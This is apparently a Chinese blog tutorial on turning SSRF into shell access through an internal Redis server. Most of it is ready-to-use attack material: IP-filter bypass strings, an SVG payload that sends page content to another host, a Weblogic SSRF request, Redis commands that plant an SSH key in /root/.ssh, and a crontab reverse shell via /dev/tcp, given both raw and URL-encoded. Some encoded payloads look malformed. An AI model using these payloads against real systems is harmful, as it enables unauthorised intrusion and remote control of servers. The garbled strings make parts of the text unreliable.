SSRF伴侣—redis

0x00前言

SSRF(Server-Side Request Forgery ,服务器端请求伪造)是一种由攻击者构造形成由服务器发起请求的一个安全漏洞,SSRF的主要攻击目标为外网无法访问的内部系统,特别是redis哦。

0x01 redis

redis是Nosql中的一种,属于非关系数据库,一般位于6379端口,是一个高新能的key-value数据库。基本的语法为

127.0.0.1:6379> set x 'christa'   # set key 设置  键的值
OK
127.0.0.1:6379> get x             # get key 获取键的值
"christa"
127.0.0.1:6379> dump x            # dump key 序列化给定 key ,并返回被序列化的值。
"\x00\achrista\a\x00m\xdc\xe5\r|+\xab\xfe"
127.0.0.1:6379> exists x          # exists key 检查给定 key 是否存在。
(integer) 1
127.0.0.1:6379> keys *            # 打印出所有键的值
1) "x"
2) "y"
127.0.0.1:6379> del y             # del key 删除键和其值
(integer) 1 
127.0.0.1:6379> append x 'ta'     # append ket value 向键中后面添加数据  
(integer) 9
127.0.0.1:6379> pexpire y 10000   # pxpire key time 设置 key 的过期时间以毫秒计
(integer) 1
127.0.0.1:6379> randomkey         # 随机返回一个值
"z"

127.0.0.1:6379> config set dbfilename name  # 设置本地持久化数据库的名字
OK

127.0.0.1:6379> config set dir path         # 设置本地持久化数据库的目录
OK

127.0.0.1:6379> save                        # 储存
OK

127.0.0.1:6379> flushall                    # 清除所有键值
OK

虽然redis用来存储session是非常好的,但是关于redis的高危漏洞也是层出不穷,同时也是SSRF攻击后getshell的最佳目标。

 

0x02SSRF

SSRF经常存在的地点在加载外部链接的地方,由于开发者没有对加载的链接进行有效地检查导致攻击者可以使用本地服务器来访问该服务器的内网,进而读取一些开发者不想让外来者读取的数据。那我们基本上可以构造出http://10.10.10.0/24http://172.18.0.0/24http://127.0.0.1/24 来进行内网的探测,但是实战中应该不会有这么不小心的程序员吧。。..那么我们只有绕过咯,一些基本的绕过语句可以这么写

以10.10.10.1为例

  1. 012.0.0.1

  2. 0xa.0.0.1

  3. 167772161

  4. 10.1

  5. 0xA000001

  6. http://www.10.1.1.1.xip.io

  7. 利用301或者302跳转http://www.th1s.cn/test/ssrf.phpssrf.php里面的内容为:<?php header('Location:10.1.1.1');?>

  8. 利用dns将域名解析为内网ip。http://test.th1s.cn->10.1.1.1

  9. 利用入则绕过baidu.com@10.10.10.1

  10. 利用js进行ssrf <svg/onload=document.location='http://locations/?'+btoa(document.body.innerHTML)

上面一些八进制、十进制的IP解析出来效果是一样的

推荐SSRF-Testing项目,能够列出许多的SSRF绕过命令,使用方法

python ip.py IP PORT 白名单网址

0x03 getshell

从最新出来的CVE-2018-11219buffer缓存可以造成dos攻击外,可以使用CVE-2015-4335任意命令执行漏洞getshell,但是需要redis对外网开放并未授权。让我们从一个经典的SSRF开始看起,选用CVE-2014-4210 Weblogic SSRF漏洞,漏洞位置位uddiexplorer/SearchPublicRegistries.jsp,构造get请求

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: 10.10.10.133:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=GW2Sc1qGL0Z61TXGpqJJVt52vNQymhGMc49XyNGFwLlnKyF7KlFv!-1862523350
Upgrade-Insecure-Requests: 1

返回响应

如果端口未开启,则会返回响应

一般docker上面的ip是172.*的ip,因此在172.18.0.2上面发现了redis服务

redis上面构造shell命令有以下几种方法:

1.写入ssh公式

在Linux机子上生成密匙pi@raspberrypi:~ $ ssh-keygen -t rsa 一路回车生成密匙

利用redis写入公匙,基于SSRF为GET请求,因此我们通过传入%0a%0d来替换换行符


set x "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCk4ObMZD3DKUePXImTHuhaKNYXlpfOStl+yUtA/XcmabBR5/D5y7      ev4/ddLnhHiKsZ7q2SQpC03RSmo5sgi5ZRBtWEoO3mblOkAMX0EL54kB65r2ANecqIzRZZX24bXYcq0+nEKBJ5UMFPxkfbWUTpiSLWQNleWcpYYz0OBw6SdS5UZiUFOmxzvdSX7r3CWsnuPf8uu6pB6BdrHByFdk0OiJ6hUuoJ42Q+9sONd4zMR5haQcXUYxLNSOXAzaJee72gWcN3dXuT+C+RYoR2hYCAQexfK5htYMBFaZHZdN4xEGCDoOyUzNqGyybfmhusXclbCgh5wZUKJZ6/rrfI8gPZ pi@raspberrypi" 
config set dir /root/.ssh             
config set dbfilename pub_keys                                 
save     

编辑url

christa%0D%0A%0Aset%20x%20%22ssh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABAQCk4ObMZD3DKUePXImTHuhaKNYXlpfOStl%2byUtA%2FXcmabBR5%2FD5y7ev4%2FddLnhHiKsZ7q2SQpC03RSmo5sgi5ZRBtWEoO3mblOkAMX0EL54kB65r2ANecqIzRZZX24bXYcq0%2bnEKBJ5UMFPxkfbWUTpiSLWQNleWcpYYz0OBw6SdS5UZiUFOmxzvdSX7r3CWsnuPf8uu6pB6BdrHByFdk0OiJ6hUuoJ42Q%2b9sONd4zMR5haQcXUYxLNSOXAzaJee72gWcN3dXuT%2bC%2bRYoR2hYCAQexfK5htYMBFaZHZdN4xEGCDoOyUzNqGyybfmhusXclbCgh5wZUKJZ6%2FrrfI8gPZ%20pi@raspberrypi%22%0D%0Aconfig%20set%20dbfilename%20pub_keys%0D%0Asave%0D%0AAconfig%20set%dir%20%2Froot%2F%2Essh%0D%0A%0D%0Aaaa

再用Linux连接SSH,得到shell

pi@raspberrypi:~/.ssh $ ssh -i id_rsa root@172.18.0.2

2.bash shell

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.2/1337 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

当SSRF限制输入长度的时候可以通过append命令来一一个一个增加

set 1 "\n\n\n\n* * * "
append 1 "* * root bash -i >& "
append 1 "/dev/tcp/172.18.0.2/"
append 1 "1337 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

传入url

christa%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2your-vps%2Fyour-ip%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

使用nc -l -p 1337监听端口得到shell

菜单

orange的SSRF文章果然是当今最好的SSRF文章laugh

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

Reference

  1. https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html
  2. https://www.owasp.org/index.php/Server_Side_Request_Forgery
  3. https://github.com/360-A-Team/redis_lua_exploit